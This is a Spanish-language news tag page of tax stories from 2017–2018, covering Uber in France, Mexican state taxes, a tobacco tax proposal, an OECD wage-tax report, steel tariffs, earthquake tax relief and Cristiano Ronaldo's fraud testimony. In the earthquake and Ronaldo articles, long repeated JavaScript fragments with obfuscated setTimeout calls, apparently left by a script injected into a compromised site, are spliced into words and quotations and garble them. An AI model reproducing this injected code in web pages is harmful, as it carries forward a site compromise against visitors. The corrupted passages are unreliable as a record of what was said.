Etiquetas: Impuestos


Uber habría cometido delitos fiscales en Francia

21 agosto, 2018

París. La empresa estadounidense Uber habría cometido delitos fiscales en Francia, en donde el año pasado y anteriores pagó una cantidad muy inferior a la que le correspondería entregar al fisco, revelaron medios locales.

De acuerdo al semanario satírico “Le Canard Enchaine”, reputado por sus exclusivas de escándalos políticos y financieros, la firma de transportación pagó el año pasado en impuestos en Francia 1.4 millones de euros, alrededor de 1.6 millones de dólares.

Se trata de una cantidad muy inferior, “microscópica”, a la que debería haber pagado teniendo en cuenta la facturación “real” de la empresa de transporte de pasajeros, denunció el semanario.

Según la publicación, Uber solo habría declarado al fisco galo 52 millones de euros, 60 millones de dólares, pese a que su cifra de negocio ascendió en 2017 en realidad a 240 millones de euros, 276 millones de dólares.

Además habría utilizado métodos de ingeniería financiera a fin de pagar la menor cantidad de impuestos en Francia y en otros países, a través de un entramado de sociedades en Holanda, islas Bermudas y en el estado estadounidense de Delaware.

Cuestionada por la publicación por el presunto fraude, Uber afirmó a través de una carta “que respeta las reglas fiscales de todos los países en los que opera”.

Y aseveró que “respeta las mismas reglas que las aplicables a todos los prestatarios de servicios internacionales con clientes en Francia”.

La empresa californiana, que en Francia tiene alrededor de 20 mil chóferes en su plataforma accesible a través de Internet, está en el punto de mira de la Hacienda francesa que en 2014 realizó ya un control fiscal de su filial en este país.

Fuente: Notimex


Reconocen hoteleros importancia de impuestos para sostenimiento de obras

16 mayo, 2018

Arturo Arellano. Xalapa. El presidente de la Unión de Empresarios Hoteleros de la Región de Cultura y Aventura, Marcos Suárez Domínguez, reconoció que tanto el impuesto al hospedaje como el de la nómina resultan de importancia para el estado y afectaría su eliminación.

“Creo que esa parte no debería ser, porque por una parte tenemos nosotros que otorgar los impuestos para que el municipio y el estado generan las obras que se deben tener en la ciudad y esa parte debemos respetarlas”, pidió.

Aunque al final, reconoció que la parte tributaria es una fuente de recursos para el sostenimiento de obras.

Son impuestos y siempre se han dado, estoy a favor, y lo que no estoy a favor es que estén creando nuevos impuestos o que se aumenten.

En el caso del impuesto de 2 por ciento al Hospedaje, admitió que la recaudación ha fluido lenta y justificó que es un “impuesto nuevo”.

“El grueso empieza a recaudarse a mediados de enero a la fecha, es un proceso tedioso, largo, se ha estado haciendo poco a poco y hemos visto, por parte de Secretaría de Turismo, las acciones que se han implementado en hacer promociones a otros estados”, indicó, por lo que apostó que sería benéfico contar con dicho tributo.


Pide Canacintra ser tomados en cuenta en la derogación de impuestos

12 mayo, 2018

Arturo Arellano. Xalapa. El presidente de la Cámara Nacional de la Industria de la Transformación (Canacintra), Juan Manuel García González, pidió consultar a los gremios de empresarios antes de derogar cualquier gravamen.

“Las cámaras somos órganos obligados de consulta y ahí seguimos estando para los tres niveles de Gobierno, para el municipal, para el federal y para el estatal, para ver a donde vamos y a donde queremos dirigirnos también. Somos actores importantes”, señaló.

Y es que en la semana, la iniciativa privada planteó la demanda de eliminar el impuesto a la nómina en los estados; situación que además de analizarse, requiere fiscalizarse.

“Antes de eliminar cualquier tipo de impuestos, debemos saber en qué se está utilizando; es un tema trascendente”, demandó el industrial.

Sostuvo que el impuesto debe ser nuevamente un tributo que sea una imposición a las acciones, fundados, motivados y comprobados.

“Si yo estoy pagando un impuesto y que en verdad está haciendo el bien a mi comunidad y no sea una derogación importante, pues lo voy a aceptar”, ofreció.

Y es que criticó que muchos de los tributos en el país no se utilizan para mejorar el bienestar social.

“En la generalidad de los impuestos que pagamos, muchas veces, tristemente, hay que voltear a ver a donde van a quedar y no es precisamente en el beneficio social, sino en el beneficio de unos cuantos que se están lucrando con lo que estamos pagando nosotros”, criticó.


Proponen aumento de impuestos a los cigarros

5 mayo, 2018

México.  El diputado Jorge Álvarez Máynez impulsa una iniciativa para aumentar el impuesto al tabaco, con el fin de combatir su consumo, proteger la salud y disminuir el impacto negativo en las finanzas públicas generado por la atención de las enfermedades ocasionadas por ese hábito.

La propuesta, remitida a la Comisión de Hacienda y Crédito Público, plantea reformar el artículo 2 de la Ley del Impuesto Especial sobre Producción y Servicios (IEPS) para establecer que adicionalmente a las tasas establecidas en este numeral, se pagará una cuota de 0.40 centavos por cigarro enajenado o importado.

Expuso que el consumo de cigarros está relacionado con padecimientos como cáncer, cardiopatía isquémica, enfermedades vasculares cerebrales, bronquitis crónica y enfisema pulmonar, todos con un gran costo para el erario.

El legislador de Movimiento Ciudadano indicó que la iniciativa retoma la recomendación del Centro de Estudios de las Finanzas Públicas (CEFP) de la Cámara de Diputados de incrementar la proporción de los impuestos como porcentaje del precio, conforme lo ha demostrado la experiencia internacional.

Precisó que de acuerdo con el estudio “El tabaquismo y su efecto en las finanzas públicas: 2007-2017” en 2017 las enfermedades atribuibles al tabaquismo tuvieron un impacto negativo en el erario por 43 mil 97 millones de pesos.

Explicó que de acuerdo con el documento del CEFP, el año pasado se destinaron 81 mil 97 millones de pesos para atender dichos padecimientos, mientras que la recaudación por concepto de IEPS al tabaco fue de apenas 39 mil 123.6 millones de pesos, ingreso que equivale a 45.4 por ciento del gasto en salud para tratar enfermedades de esa adicción.

En ese sentido, apuntó, que la recomendación del CEFP señala que “la forma más eficaz para combatir el consumo de este producto es incrementar la proporción de los impuestos como porcentaje del precio, lo cual es compatible con las mejores prácticas internacionales y es característico de los países con políticas públicas exitosas en materia de control del tabaco”.

El diputado refirió que la Organización Mundial de la Salud (OMS) propuso para esos productos una tasa impositiva total de al menos 70 por ciento del precio de venta.

En países que han implementado políticas exitosas en la disminución de su consumo como Chile y Finlandia, los impuestos tienen una proporción de 84.9 y 89.1 por ciento del valor de venta, respectivamente.

Además, la OMS indicó que en Filipinas, en 2014, tras un año de haber aumentado los impuestos a los cigarros, el gobierno recaudó más ingresos de los previstos, y el 85 por ciento de ellos se utilizaron en servicios de salud.

De igual manera, señaló que los precios elevados son particularmente eficaces para disuadir a los jóvenes de fumar, pues sus ingresos son más limitados que en los adultos.

Asimismo, las personas de escasos recursos tendrían un incentivo negativo para continuar su hábito y, por tanto, seguir afectando su salud, indicó el diputado.


México segundo país de OCDE con impuestos sobre salarios más bajos

26 abril, 2018

México. México es el segundo país de la Organización para la Cooperación y el Desarrollo Económicos (OCDE) en donde los trabajadores pagan la tasa de impuestos más baja sobre los salarios.

De acuerdo con su nuevo informe “Impuestos sobre los salarios 2018”, en México los trabajadores pagan solo 11.2 por ciento de su salarios en impuestos, únicamente detrás de Chile, con 7.0 por ciento, y debajo del promedio de la OCDE.

El organismo internacional informó que los trabajadores en los 35 países que lo integran pagaron poco más de una cuarta parte de su salario bruto en impuestos, en promedio en 2017, con una tasa de 25.5 por ciento.

Esto se refiere a la “tasa impositiva personal neta promedio”, es decir, impuesto sobre la renta y aportaciones a la seguridad social pagadas por los empleados, menos toda prestación familiar recibida, como porcentaje de los salarios bruto.

Destaca que esta tasa promedio en toda la OCDE, que es calculada para una persona soltera sin hijos que gana un salario promedio, se mantuvo estable en los últimos años.

Los promedios nacionales más bajos son Chile 7.0 por ciento, México 11.2 por ciento y Corea 14.5 por ciento, mientras que los más altos son Bélgica con 40.5 por ciento, Alemania con 39.9 por ciento y Dinamarca con 35.8 por ciento.

Fuente: Notimex


No hacen falta locales para ambulantes, hay que cobrarles impuestos: Coparmex

24 abril, 2018

Arturo Arellano. Xalapa. El primer paso para la regulación del comercio en Xalapa inicia con el pago de impuestos de los vendedores informales, comentó el secretario general de la Confederación Patronal de la República Mexicana (Coparmex), Alaudi Nieto Solana.

“Nosotros como Coparmex siempre hemos pensado que lo ideal para el crecimiento del país y el desarrollo social es que estén formales”, afirmó.

Interrogado sobre el reordenamiento a los comerciantes, el dirigente empresarial abundó que no hace falta “ponerles locales” a los ambulantes, sino inscribirlos en el RFC.

“¿Cómo vamos a hacer que los comerciantes informales pasen a la formalidad? Pues esto es responsabilidad del Gobierno que establezca los modelos y los mecanismos adecuados para hacer esa transición”, apuntó.

Recalcó que como Coparmex están a favor de que todos las empresas, sin importar el tamaño, estén dadas de alta y cumplan con el marco legal al establecerse.


Anuncian condonación y devolución de impuestos a consecionarios de transporte público

18 marzo, 2018

Yhadira Paredes. Xalapa. Se anunció en la Gaceta Oficial del Estado la condonación y devolución de impuestos y derechos concesionarios del transporte público estatal por parte de la Secretaría de Finanzas y Planeación (Sefiplan). 

En el número extraordinario 110 del viernes, Guillermo Moreno Chazarinni, titular de la Secretaría de Finanzas y Planeación, señala que este beneficio solo será para concesionarios, permisionarios, licenciatarios y/o autorizados por cualquier mecanismo jurídico para la prestación del servicio de transporte público en el Estado, que resulten contribuyentes de la hacienda pública estatal con motivo del acatamiento del Programa de Transporte Público.

Los beneficios se aplicaran a más tardar el 30 de abril de este año, solo cuando se haya concluido el emplazamiento y/o empadronamiento derivado del Programa de Ordenamiento Vial del Transporte Público.

En el documento publicado en la Gaceta se especifica que la condonación de impuestos y derechos a favor de los titulares de unidades vehiculares destinadas al servicio de transporte público que cumplan con los requisitos tiene vigencia del 1 de enero y 14 de febrero al 30 de abril y del 31 de marzo de 2017 al 30 de abril de 2018.

Para la devolución del pago por condonación de los impuestos y derechos la entrada en vigor a favor de los titulares de las unidades vehiculares de transporte público que cumplan con los requisitos, tendrá vigencia del 1 de enero al 30 de abril de 2018 y del 31 de marzo de 2017 al 30 de abril de 2018.

En el documento se explica que los beneficiarios deberán concluir satisfactoriamente a más tardar el día 30 de abril de 2018 el procedimiento de Emplacamiento para que puedan gozar de los mismos

La Sefiplan agrega que a partir del día 1 de mayo de 2018 las Oficinas de Hacienda del Estado no podrán tramitar, realizar y/o aplicar devolución alguna de las contribuciones motivo de este apoyo.


Exige Colombia a EU ser excluido de impuestos al acero

10 marzo, 2018

Bogotá. El gobierno colombiano manifestó a Estados Unidos su preocupación por la medida anunciada por el presidente Donald Trump de imporner aranceles a las importaciones de acero y aluminio, por lo que solicitó ser excluido de la medida que afecta a empresarios de este país.

La ministra de Comercio Exterior, María Lorena Gutiérrez, y el titular de Hacienda, Mauricio Cárdenas, expusieron en su reciente visita a Washington la inquietud a los representantes del gobierno de Estados Unidos.

“Expresamos la preocupación del gobierno nacional y de nuestros empresarios frente a los aranceles impuestos por el presidente Donald Trump a las importaciones de acero y aluminio a territorio estadunidense”, dijo la ministra de Comercio Exterior en una declaración.

Sostuvo que Colombia solicitará al gobierno de Estados Unidos para que estas “exportaciones queden excluidas de la medida adoptada y a utilizar los canales de comunicación que tenemos activos para que esta exclusión se de en el menor tiempo posible”.

Gutiérrez aclaró que las conversaciones con funcionarios de alto nivel del sector comercio de Estados Unidos se dieron en el marco del proceso “de inserción de Colombia en la OCDE, un camino en el que ya hemos demostrado los altos estándares de calidad que estamos desarrollando en todas nuestras políticas públicas”.

Los dos funcionarios estuvieron esta semana en Washington, en donde se reunieron con la representante especial para el ingreso de Colombia a la Organización para la Cooperación y el Desarrollo Económico (OCDE), Catalina Crane, la cual estuvo “marcada por varias conversaciones con los sectores empresariales que tienen relaciones comerciales con Colombia”.

“Escuchamos sus comentarios sobre la experiencia que han tenido invirtiendo y exportando hacia nuestro país, y exploramos fórmulas para facilitarles su labor comercial y empresarial en Colombia”, anotó la ministra de Comercio Exterior.

Los dos funcionarios sostuvieron conversaciones con la Cámara de Comercio de Estados Unidos, el Consejo Estadunidense para los Negocios Internacionales, (Phrma) y la Asociación Nacional de Industrias Manufactureras de Estados Unidos.

“Allí, mostramos las ventajas que tendría para sus industrias y para Estados Unidos el ingreso de Colombia a la OCDE”, organización conformada por 35 estados miembros, cuyo objetivo es coordinar sus políticas económicas y sociales.

Igualmente se reunieron con voceros del departamento de Comercio de los Estados Unidos para tratar las “preocupaciones que nos habían expresado a través de una carta sobre el ingreso de Colombia a la OCDE. Fue un diálogo constructivo”.

“Aclaramos sus dudas y hablamos de nuestro plan de trabajo para cumplir a cabalidad con los compromisos que se han derivado de nuestras relaciones comerciales”, precisó la ministra de Comercio Exterior.

Fuente: Notimex


Beneficia SHCP a afectados por sismo; no pagarán impuestos

11 septiembre, 2017

México. La Secretaría de Hacienda y Crédito Público (SHCP) otorgó diversos beneficios fiscales para los contribuyentes afectados por el sismo de 8.2 grados Richter registrado el pasado jueves en los estados de Oaxaca y Chiapas.

En un comunicado, detalló que entre ellos se encuentra eximir la obligación de efectuar pagos provisionales del impuesto sobre la renta correspondiente a los meses de agosto a diciembre de 2017.

Explicó que con el objetivo de acelerar la reactivación económica en las comunidades afectadas por el reciente sismo registrado en los estados de Chiapas y Oaxaca y preservar las fuentes de empleo en esas zonas, el presidente de la República, Enrique Peña Nieto, emitió el decreto.

La dependencia agregó que también se difiere de la obligación a los contribuyentes del Régimen de Incorporación Fiscal de presentar las declaraciones del cuarto a sexto bimestre de 2017.

Así como deducir de forma inmediata las inversiones efectuadas en bienes nuevos de activo fijo que realicen durante el periodo comprendido entre el 7 de septiembre de 2017 y el 31 de marzo de 2018 en las zonas afectadas.

Además de enterar las retenciones del impuesto sobre la renta por los trabajadores en tres parcialidades iguales respecto de los pagos por ingresos por salarios y en general por la prestación de un servicio personal subordinado.

En materia de IVA señaló que se debe enterar en tres parcialidades iguales el pago definitivo de los impuestos al valor agregado y especial sobre producción y servicios a su cargo correspondiente a los meses de agosto, septiembre, octubre, noviembre y diciembre de 2017.

Añadió que los contribuyentes que se dediquen exclusivamente a las actividades agrícolas, ganaderas, pesqueras o silvícolas, que opten por realizar pagos provisionales semestrales, podrán optar por presentar mensualmente las declaraciones del impuesto al valor agregado correspondientes a dicho semestre.

Las solicitudes de devolución del impuesto al valor agregado presentadas antes del 15 de septiembre de 2017, se tramitarán en un plazo máximo de 10 días hábiles, informó.

La SHCP dijo que a los contribuyentes que cuenten con autorización de pagos provisionales, podrán diferir el pago de las parcialidades correspondientes al mes de septiembre de 2017 y subsecuentes que se les haya autorizado, reanudandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o, en los mismos términos y condiciones autorizadas, el programa de pagos de dichas parcialidades a partir del mes de enero de 2018.

Manifestó que a los patrones y demás sujetos obligados en términos de la Ley del Seguro Social, se autoriza el pago a plazos, ya sea en forma diferida o hasta en 12 parcialidades, sin que se generen recargos y actualizaciones de las cuotas causadas durante los meses de septiembre a diciembre de 2017, para que éstas sean cubiertas a partir del mes de enero de 2018.


Niega Cristiano Ronaldo haber cometido fraude fiscal por 14.7 millones de euros

31 julio, 2017
 
Madrid. El futbolista portugués Cristiano Ronaldo declaró este lunes en el Juzgado de Primera Instancia e Instrucción Número Uno de Pozuelo de Alarcón (Madrid), donde negó haber tenido intención de evadir impuestos o de ocultar sus ingresos.
El delantero del Real Madrid compareció este lunes durante una hora y media ante la jueza Mónica Gómez Ferrer, por presunto fraude fiscal por 14.7 millones de euros, cometido entre 2011 y 2014 a través de un sociedad que gestiona sus derechos de imagen.

De acuerdo con la denuncia, Cristiano Ronaldo habría cometido fraude por 1.39 millones de euros en 2011; 1.66 millones en 2012; 3.2 millones en 2013 y 8.5 millones en 2014, lo que según la Fiscalía es un “ocultamiento voluntario y consiente” de sus obligaciones tributarias.

En un comunicado, el crack luso aseguró que desde que se mudó a Madrid siempre ha presentado sus declaraciones de ingresos a la Hacienda de España, y que le pide a sus asesores tener todo en regla cada día a fin de evitar problemas.

En el interrogatorio, aseguró que contrario a lo que denuncia la Fiscalía la cesión de sus derechos de imagen a una empresa de su propiedad no se realizó al venir a España en 2010, sino que se llevó a cabo en 2004, a instancias de los abogados ingleses.

“Cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o fiché por el Real Madrid, no creé una estructura especial para gestionar mis derechos de imagen, sino que mantuve la que los gestionaba cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o estaba en Inglaterra. Los abogados que me recomendó el Manchester United la crearon en 2004, mucho antes de venir a España”, sostuvo.

La estructura empresarial de gestión de los derechos de imagen de Cristiano Ronaldo es igual en el periodo 2010-2014 a la existente entre 2004 y 2009, según el comunicado.

Las únicas diferencias radican en que se suprimió una entidad inglesa, innecesaria al no residir en aquel país, y se aseguró de cobrar la totalidad de los derechos de imagen personalmente mientras era residente en España, para pagar los impuestos españoles.

“Ninguno de estos cambios tenía como finalidad eludir el pago de impuestos u ocultar ingresos. Por el contrario, al cobrar personalmente los cánones por la cesión de su imagen se logró mayor transparencia y se aseguró que la Hacienda española recibiera los impuestos que legítimamente le correspondían”, precisó en su comunicado.

Asimismo, desde 2015 Cristiano Ronaldo ha cedido sus derechos de imagen a un tercero independiente pagandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o sus impuestos por ello: “Actualmente cotiza en España por sus impuestos, siendo uno de los contribuyentes individuales que más paga en todo el país”.

La defensa del jugador consideró que fue en 2014 cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o se declaró a la Hacienda española los ingresos por derecho de imagen de 2011, 2012, 2013 y 2014, pues fue ese año cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o recibió tales ingresos.

Según los abogados del portugués, en la comparecencia se mostró tranquilo y satisfecho por haber podido colaborar con la Justicia y pidió que se deje trabajar a los Tribunales con libertad y sin presión.

“Yo creo en la justicia y espero que, también en este caso, haya una decisión justa. Y con el fin de evitar presiones innecesarias o de contribuir a un juicio paralelo, he decidido que no volveré a hacer más declaraciones sobre este asunto hasta que no se produzca dicha decisión”, agregó.

En tanto, en el exterior del juzgado aguardaron unos 200 periodistas de diferentes países y se colocó un atril para que Cristiano Ronaldo pudiera hacer una declaración posterior, pero declinó.

En su lugar apareció un representante que se identificó como Iñaki Torres, quien anunció que Cristiano Ronaldo ya había declarado e iba camino a su casa, por lo que se emitiría un comunicado para informar sobre la declaración.

Fuente: Notimex